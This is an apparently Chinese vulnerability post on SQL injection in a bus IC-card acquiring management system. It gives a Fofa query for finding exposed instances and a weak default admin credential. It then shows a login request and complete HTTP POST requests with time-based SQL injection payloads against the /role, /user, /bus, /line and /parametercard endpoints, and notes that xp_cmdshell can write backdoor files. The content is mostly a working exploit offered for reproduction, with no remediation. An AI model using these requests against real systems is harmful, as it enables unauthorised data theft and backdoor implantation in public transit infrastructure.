公交IC卡收单管理系统多接口SQL注入

news2024/9/30 16:21:08

0x01 产品描述：

公交IC卡系统是公交一卡通系统核心建设部分，是高时尚、高科技的管理系统，大大提升了公交行业的服务，能让公交企业信息化和电子化打下一个良好的硬件基础和软件基

0x02 漏洞描述：

公交IC卡系统在/role，/user，/bus，/line，/parametercard接口中存在sql注入。使用弱口令登录后经身份验证的攻击者可通过这些接口写入sql语句获取系统中数据，高权限账号可调用xp_cmdshell写入后门文件。

0x03 搜索语句：

Fofa：app="公交IC卡收单管理系统"

0x04 漏洞复现：

漏洞需要用到权限校验，我们使用系统存在的弱口令进行登录

username:admin
password:e10adc3949ba59abbe56e057f20f883e

调用接口/login获取登录cookie

POST /login HTTP/1.1
Host: your-ip
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Priority: u=0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
X-Requested-With: XMLHttpRequest

username=admin&password=e10adc3949ba59abbe56e057f20f883e

使用获取的cookie带入到存在sql注入接口中

/role接口

POST /role HTTP/1.1
Host: your-ip
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=2158E0CABE9B58C93F508ECF0FCD2B65
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
X-Requested-With: XMLHttpRequest

_search=false&nd=1727245571646&rowCountPerPage=10&pageNo=1&sidx=ROLE_NAME&sord=asc&method=select&ROLE_NAME=1');WAITFOR DELAY '0:0:5'--

/parametercard接口

POST /parametercard HTTP/1.1
Host: your-ip
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=2158E0CABE9B58C93F508ECF0FCD2B65
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
X-Requested-With: XMLHttpRequest

method=select&organization=&lineCode=&_search=false&nd=1727249021156&rowCountPerPage=10&pageNo=1&sidx=LINE_CODE&sord=asc&ORGANIZATION_CODE=&LINE_CODE=1');WAITFOR DELAY '0:0:5'--

/user接口

POST /user HTTP/1.1
Host: your-ip
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=2158E0CABE9B58C93F508ECF0FCD2B65
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
X-Requested-With: XMLHttpRequest

_search=false&nd=1727245865182&rowCountPerPage=10&pageNo=1&sidx=USER_NAME&sord=asc&method=select&USER_NAME=1');WAITFOR DELAY '0:0:5'--&REAL_NAME=1&ACCOUNT_EXPIRE_TIME=%E5%BF%BD%E7%95%A5&PASSWORD_EXPIRE_TIME=%E5%BF%BD%E7%95%A5

/bus接口

POST /bus HTTP/1.1
Host: your-ip
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=2158E0CABE9B58C93F508ECF0FCD2B65
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
X-Requested-With: XMLHttpRequest

_search=false&nd=1727248354972&rowCountPerPage=10&pageNo=1&sidx=BUS_CODE&sord=asc&method=select&BUS_CODE=1');WAITFOR DELAY '0:0:5'--bus

/line接口

POST /line HTTP/1.1
Host: your-ip
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=2158E0CABE9B58C93F508ECF0FCD2B65
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
X-Requested-With: XMLHttpRequest

_search=false&nd=1727248712232&rowCountPerPage=10&pageNo=1&sidx=LINE_CODE&sord=asc&method=select&ORGANIZATION_CODE=&LINE_CODE=1');WAITFOR DELAY '0:0:5'--